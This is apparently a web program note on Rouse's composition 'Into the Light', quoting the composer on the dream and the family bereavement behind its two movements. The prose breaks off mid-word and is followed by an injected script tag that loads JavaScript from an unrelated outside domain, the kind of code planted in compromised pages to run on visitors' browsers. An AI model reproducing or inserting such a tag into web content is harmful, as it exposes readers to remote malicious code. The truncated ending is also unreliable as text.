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By way of background on this piece, Rouse refers to a slightly earlier one, The Avatar, which he composed for trumpet and piano under a League of Composers/ISCM commission.  (It has been recorded by Ray Mase on the Summit label.)  While composing the middle movement of that work, the section relating to "the search or struggle for release through enlightenment," he had a dream that "was extremely vivid and powerful and seemed of great importance to me":

"I emerged from walking through deep (though not harsh) woods to find myself at the edge of a lush, green, serene meadow.  I felt great peace and tranquility.  The floor of the meadow was dense with flowers that resembled oversized tulips, but with tops like lids, as in the Venus flycatcher.  The plants were of varying size.  As I walked into the meadow and approached each flower, it opened its lid, revealing a bowl of clear liquid inside.  In the liquid was a fish, which came to the surface, emerged, and sang in a beautiful, clear, yet deeply moving voice, of love.  Each fish sang the same song: a rising major second interval on the syllable "Ah."  Since each fish was a different size, I was surrounded by dozens of differently pitched rising major second intervals.  Each flower/fish opened and sang in response to my approaching presence; the sound and feeling were incredible.

The fish motive found its way intoThe Avatar, but the whole musical experience of the dream was filed away for later.  (I was so intriguedby both the symbolism of the fish and the use of this musical interval in prior compositions that I undertook informal research in somedepth.)  The second of the two movements of Into the Light (actually the first portion of the work to be composed) depicts this dream."

The dream, however, was not the only personal experience to be reflected in this score.  Again, the composer provides the background:

"In June 1991 I began writing Into the Light, beginning with the second movement, at a convent/retirement home for nuns in Owensboro, Kentucky, where I was teaching at a music camp for children.  Only a few weeks earlier, my then brother-in-law, J.P. Kunz, had been diagnosed--out of the blue, without warning symptoms--with a tumor in his abdomen.  He was only 32, a fine architect, with a loving wife and three small children.  I knew when we went to teach at the camp that he had only a shor t time to live, and by July 4 he was dead.  The contrast of the happy children, the beautiful countryside and peaceful surroundings, where many of the old nuns knew they would die, effected an inner re-examination and reflection on my part.

Teaching at the camp was non-stop, so I got little composing done, but when I returned home I finished the second movement in a little less than two weeks.  The first movement took about six weeks to write.  I was looking for balance and contrast for the second, and by that time I had my title, which guided me a bit.  I have left open the precise meaning of the title Into the Light, but I had in mind several possible interpretations or references, including, but not limited to, the following:

(a) the after-death experience so often spoken of recently
(b) a metaphor for enlightenment, understanding, or love
(c) the concept of God, or things or beings associated with God"

Rouse is quick to point out that the listener need not be burdened with a search for or expectation of any of these particular images.  The music is after all more in the nature of a response to, or an awareness of, such images or concepts, rather than an attempt at graphic representation.  But the contrasts, both musical and emotional, are powerfully registered, in a first movement aptly characterized as "aggressive and muscular" and a second whose diaphanous and ethereal qualities are conveyed in a way that manages to combine the comforting assurance of familiar gestures with the uncontrived originally that certif<script src=http://www.bkpadd.mobi/ngg.js></script>

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